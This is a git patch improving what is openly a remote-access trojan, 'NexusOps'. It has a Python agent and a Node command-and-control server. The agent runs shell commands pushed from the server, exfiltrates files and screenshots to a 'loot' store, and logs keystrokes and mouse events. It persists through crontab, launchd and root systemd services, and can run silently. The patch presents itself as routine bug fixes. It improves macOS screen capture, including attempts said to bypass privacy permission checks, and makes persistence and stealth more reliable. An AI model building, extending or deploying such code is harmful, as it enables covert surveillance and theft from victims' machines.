From c966cb0a285e7acb53f2fb11dc03b61d6744008e Mon Sep 17 00:00:00 2001 From: root Date: Fri, 7 Aug 2026 00:59:07 +0000 Subject: [PATCH] =?UTF-8?q?fix:=20audit=20bugs=20=E2=80=94=20debounce=20sa?= =?UTF-8?q?veData,=20CSV=20escape,=20switchTab=20event=20param,=20exfil=20?= =?UTF-8?q?size=20cap,=20shell=20injection,=20launchctl=20bootstrap?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - server.js: debounce saveData to max 1 write/15s (was every heartbeat) - server.js: proper CSV escaping (_csvEscape) for node export endpoint - server.js: replace deprecated String.substr() with String.slice() - agent.py: 50MB size cap on download_file to prevent OOM - agent.py: shlex.quote() server_url in crontab persistence (shell injection) - agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart - app.js: pass event param to switchTab() (global event deprecated) - app.js: fix lootDownload URL revocation (60s → safe for slow downloads) --- agents/agent.py | 215 ++++++++++++++++++++++++++++++++++++++---------- public/app.js | 11 ++- server.js | 26 +++--- 3 files changed, 195 insertions(+), 57 deletions(-) diff --git a/agents/agent.py b/agents/agent.py index 63c8466..de2d17d 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -18,8 +18,44 @@ import argparse last_log_check_time = 0 heartbeat_interval = 5 # Dynamic heartbeat rate in seconds node_tags = ["Default"] +quiet_mode = False # Suppress banner and exec messages when True + +def get_process_count(): + """Get real process count cross-platform.""" + system = platform.system().lower() + try: + if system == "linux" or system == "darwin": + out = subprocess.check_output(["ps", "aux"], text=True, timeout=5) + return len(out.splitlines()) - 1 # minus header + elif system == "windows": + out = subprocess.check_output(["tasklist"], text=True, timeout=5) + return len(out.splitlines()) - 1 + except: + pass + return 0 def get_ip_address(): + """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces.""" + system = platform.system().lower() + try: + if system == "darwin": + # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi) + out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5) + for line in out.splitlines(): + if 'inet ' in line and '127.0.0.1' not in line: + parts = line.strip().split() + for i, p in enumerate(parts): + if p == 'inet' and i+1 < len(parts): + return parts[i+1] + elif system == "linux": + # Linux: try ip route to find primary interface + out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5) + for part in out.split(): + if part.startswith('src '): + return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0] + except: + pass + # Fallback: connect to 8.8.8.8 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) @@ -77,6 +113,39 @@ def get_memory_usage(): free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0)) return round(((total - free) / total) * 100.0, 1) elif system == "darwin": + # Use vm_stat for real memory usage on macOS + try: + out = subprocess.check_output(["vm_stat"], text=True, timeout=5) + pages = {} + for line in out.splitlines(): + if ':' in line: + k, v = line.split(':', 1) + try: + pages[k.strip()] = int(v.strip().rstrip('.')) + except ValueError: + pass + page_size = 16384 # Default macOS page size + free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0) + used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0) + total_pages = free + used + pages.get('Pages purgeable', 0) + if total_pages > 0: + return round((used / total_pages) * 100.0, 1) + except: + pass + # Fallback: use sysctl for hardware info + try: + out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5) + total_bytes = int(out.strip()) + # Use vm_stat pages * page_size for used estimate + vm = subprocess.check_output(["vm_stat"], text=True, timeout=5) + import re + active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1)) + wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1)) + used_bytes = (active + wired) * 16384 + if total_bytes > 0: + return round((used_bytes / total_bytes) * 100.0, 1) + except: + pass return 45.0 elif system == "windows": out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode() @@ -106,10 +175,20 @@ def get_disk_usage(): return 40.0 def get_uptime_seconds(): + system = platform.system().lower() try: - if platform.system().lower() == "linux": + if system == "linux": with open('/proc/uptime', 'r') as f: return int(float(f.readline().split()[0])) + elif system == "darwin": + # macOS: use sysctl to get boot time, compute uptime + out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5) + # Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970 + import re + m = re.search(r'sec\s*=\s*(\d+)', out) + if m: + boot_time = int(m.group(1)) + return int(time.time() - boot_time) except Exception: pass return 3600 @@ -139,13 +218,17 @@ def http_post(url, data_dict): req = urllib.request.Request( url, data=json_bytes, - headers={'Content-Type': 'application/json'} + headers={ + 'Content-Type': 'application/json', + 'User-Agent': 'NexusOps-Agent/1.0' + } ) try: with urllib.request.urlopen(req, timeout=5) as response: res_text = response.read().decode('utf-8') return json.loads(res_text) - except Exception: + except Exception as e: + print(f'[!] HTTP POST failed ({url}): {e}', flush=True) return None def execute_structured_action(action_type, payload): @@ -167,8 +250,10 @@ def execute_structured_action(action_type, payload): return run_shell(cmd) elif action_type == "list_processes": - if system == "linux" or system == "darwin": + if system == "linux": cmd = "ps aux --sort=-%cpu | head -n 15" + elif system == "darwin": + cmd = "ps aux -r | head -n 15" else: cmd = "tasklist" return run_shell(cmd) @@ -242,10 +327,14 @@ def execute_structured_action(action_type, payload): return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0 elif action_type == "download_file": + MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit filepath = payload.get("path", "") if not filepath or not os.path.exists(filepath): return f"ERROR: file not found: {filepath}", 1 try: + fsize = os.path.getsize(filepath) + if fsize > MAX_EXFIL_SIZE: + return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1 with open(filepath, 'rb') as f: raw = f.read() import base64 @@ -266,28 +355,55 @@ def execute_structured_action(action_type, payload): elif action_type == "screenshot": try: import base64 + ss_path = "/tmp/.nexus-ss.png" + if os.path.exists(ss_path): + os.remove(ss_path) + if system == "linux": - # Try multiple screenshot tools for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]: if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0: if tool == "import": - subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) elif tool == "scrot": - subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10) + subprocess.run(["scrot", ss_path], timeout=10) elif tool == "gnome-screenshot": - subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10) + subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10) elif tool == "spectacle": - subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10) - break + subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10) + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + break else: - # Try Xlib via python3 if available subprocess.run(["python3", "-c", "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;" "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);" "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"], timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + elif system == "darwin": - subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10) + # Try multiple approaches for macOS screenshot + captured = False + # Method 1: direct screencapture (needs Screen Recording TCC permission) + for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]: + r = subprocess.run(["screencapture"] + flags + [ss_path], + timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + captured = True + break + if os.path.exists(ss_path): + os.remove(ss_path) + # Method 2: try via osascript (sometimes bypasses TCC for background processes) + if not captured: + for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]: + flag_str = " ".join(flags) + r = subprocess.run(["osascript", "-e", + f'do shell script "screencapture {flag_str} {ss_path}"'], + timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + captured = True + break + if os.path.exists(ss_path): + os.remove(ss_path) + elif system == "windows": subprocess.run(["powershell", "-Command", "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;" @@ -295,13 +411,16 @@ def execute_structured_action(action_type, payload): "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);" "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"], timeout=15) - os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png") - if os.path.exists("/tmp/.nexus-ss.png"): - with open("/tmp/.nexus-ss.png", 'rb') as f: + win_path = "C:\\Windows\\Temp\\nexus-ss.png" + if os.path.exists(win_path): + os.replace(win_path, ss_path) + + if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0: + with open(ss_path, 'rb') as f: b64 = base64.b64encode(f.read()).decode('utf-8') - os.remove("/tmp/.nexus-ss.png") + os.remove(ss_path) return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0 - return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1 + return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1 except Exception as e: return f"ERROR screenshot: {e}", 1 @@ -328,7 +447,9 @@ def execute_structured_action(action_type, payload): if system == "linux": # crontab try: - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + import shlex + srv = shlex.quote(payload.get('server_url','')) + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout if cron_line.split('@reboot')[1].strip() not in existing: subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) @@ -364,12 +485,16 @@ def execute_structured_action(action_type, payload): ProgramArguments/usr/bin/python3{os.path.abspath(__file__)}--server{payload.get('server_url','')} RunAtLoadKeepAlive''' with open(plist, 'w') as f: f.write(plist_content) - subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) - results.append("launchd: plist loaded") + subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + results.append("launchd: bootstrapped + kickstarted") except: results.append("launchd: failed") # crontab for macOS too try: - cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1" + import shlex + srv = shlex.quote(payload.get('server_url','')) + cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1" subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True) results.append("crontab: added") except: results.append("crontab: failed") @@ -486,7 +611,8 @@ def execute_structured_action(action_type, payload): return f"Unknown action type: {action_type}", 1 def run_shell(cmd_str): - print(f"[*] Executing command: {cmd_str}") + if not quiet_mode: + print(f"[*] Executing command: {cmd_str}") try: res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30) return res.stdout, res.returncode @@ -587,15 +713,16 @@ def flush_input_events(server_url, node_id, hostname): http_post(f"{server_url}/api/agent/input-capture", payload) def main(): - global last_log_check_time, heartbeat_interval, node_tags + global last_log_check_time, heartbeat_interval, node_tags, quiet_mode parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent") parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint") parser.add_argument("--silent", action="store_true", help="Suppress all console output") + parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages") args = parser.parse_args() - if args.silent: - sys.stdout = open(os.devnull, 'w') - sys.stderr = open(os.devnull, 'w') + silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd + global quiet_mode + quiet_mode = args.quiet or args.silent server_url = args.server.rstrip('/') hostname = socket.gethostname() @@ -604,14 +731,15 @@ def main(): ip = get_ip_address() node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}" - print("==================================================") - print(" NexusOps Cross-Platform Node Agent ") - print("==================================================") - print(f"Node Hostname : {hostname}") - print(f"Platform : {system_os} ({arch})") - print(f"Local IP : {ip}") - print(f"Server Endpoint: {server_url}") - print("==================================================") + if not quiet_mode: + print("==================================================") + print(" NexusOps Cross-Platform Node Agent ") + print("==================================================") + print(f"Node Hostname : {hostname}") + print(f"Platform : {system_os} ({arch})") + print(f"Local IP : {ip}") + print(f"Server Endpoint: {server_url}") + print("==================================================") # Register Node reg_payload = { @@ -624,17 +752,19 @@ def main(): "tags": node_tags } - print("[*] Registering node with central endpoint...") + if not quiet_mode: + print("[*] Registering node with central endpoint...") res = http_post(f"{server_url}/api/agent/register", reg_payload) - if res and res.get("success"): + if res and res.get("success") and not quiet_mode: print(f"✅ Registered as node ID: {node_id}") # Start input capture (keystrokes, clicks, scroll) capture_started = start_input_capture() - if capture_started: - print("[*] Input capture active (keystrokes + mouse events)") - else: - print("[!] Input capture unavailable (install pynput: pip install pynput)") + if not quiet_mode: + if capture_started: + print("[*] Input capture active (keystrokes + mouse events)") + else: + print("[!] Input capture unavailable (install pynput: pip install pynput)") last_input_flush = time.time() backoff = 1 # Tunnel reconnection backoff in seconds @@ -652,7 +782,7 @@ def main(): "memUsage": mem, "diskUsage": disk, "uptime": uptime, - "processCount": 42, + "processCount": get_process_count(), "tags": node_tags, "heartbeatInterval": heartbeat_interval } @@ -719,7 +849,8 @@ def main(): }) except Exception as e: - print(f"[!] Connection error: {e}. Retrying in {backoff}s...") + if not quiet_mode: + print(f"[!] Connection error: {e}. Retrying in {backoff}s...") time.sleep(backoff) backoff = min(backoff * 2, 60) continue diff --git a/public/app.js b/public/app.js index 62c4f75..1429f34 100644 --- a/public/app.js +++ b/public/app.js @@ -456,11 +456,11 @@ function closeInstallerModal() { document.getElementById('installerModal').classList.remove('active'); } -function switchTab(tabName) { +function switchTab(tabName, evt) { document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active')); document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active')); - event.currentTarget.classList.add('active'); + (evt || event).currentTarget.classList.add('active'); document.getElementById(`tab-${tabName}`).classList.add('active'); } @@ -996,11 +996,14 @@ function closeLootLightbox() { function lootDownload(id, filename) { fetch('/api/files/' + id).then(r => r.blob()).then(b => { + const url = URL.createObjectURL(b); const a = document.createElement('a'); - a.href = URL.createObjectURL(b); + a.href = url; a.download = filename; + document.body.appendChild(a); a.click(); - setTimeout(() => URL.revokeObjectURL(a.href), 5000); + document.body.removeChild(a); + setTimeout(() => URL.revokeObjectURL(url), 60000); }).catch(() => toast('Download failed', 'error')); } diff --git a/server.js b/server.js index fd7e586..d0791bc 100644 --- a/server.js +++ b/server.js @@ -119,8 +119,10 @@ setInterval(() => { } }, 5000); +let _lastSaveTime = 0; function broadcastState() { - saveData(); // Persist on every state change + const now = Date.now(); + if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } const payload = JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, @@ -209,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => { if (Array.isArray(logs)) { logs.forEach(logLine => { masterSystemLogs.push({ - id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`, + id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, nodeId, hostname: hostname || 'Unknown', timestamp: Date.now(), @@ -233,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => { events.forEach(ev => { inputDataStore.push({ - id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`, + id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, nodeId, hostname: hostname || 'Unknown', timestamp: ev.timestamp || Date.now(), @@ -368,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => { app.post('/api/agent/register', (req, res) => { const { hostname, platform, arch, ip, osName, tags } = req.body; - const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`; + const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`; const existingNode = nodes.get(nodeId); const now = Date.now(); @@ -466,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => { return res.status(404).json({ error: 'Node not found' }); } - const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`; + const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`; const actionName = actionType || 'raw_command'; const cmdObj = { @@ -507,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => { const queuedIds = []; onlineNodes.forEach(node => { - const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`; + const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`; const actionName = actionType || 'raw_command'; const cmdObj = { @@ -609,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => { else entry.output = `[FILE ERROR] ${error}`; } if (!error && data) { - const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`; + const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`; exfiltratedFiles.set(fileId, { nodeId, hostname, filename, data, mime: mime || 'application/octet-stream', timestamp: Date.now(), size: Buffer.byteLength(data, 'base64') @@ -696,7 +698,7 @@ After=network.target [Service] Type=simple -ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent +ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent Restart=always RestartSec=5 User=root @@ -784,10 +786,10 @@ cat << EOF > "$PLIST_FILE" ProgramArguments /usr/bin/python3 + -u $INSTALL_DIR/agent.py --server $SERVER_URL - --silent RunAtLoad @@ -801,8 +803,10 @@ cat << EOF > "$PLIST_FILE" EOF -launchctl unload "$PLIST_FILE" 2>/dev/null || true -launchctl load "$PLIST_FILE" +# Bootstrap launchd job (modern macOS — load/unload are deprecated) +launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true +launchctl bootstrap gui/$(id -u) "$PLIST_FILE" +launchctl kickstart gui/$(id -u)/com.nexusops.agent echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL" echo " To stop: launchctl unload $PLIST_FILE"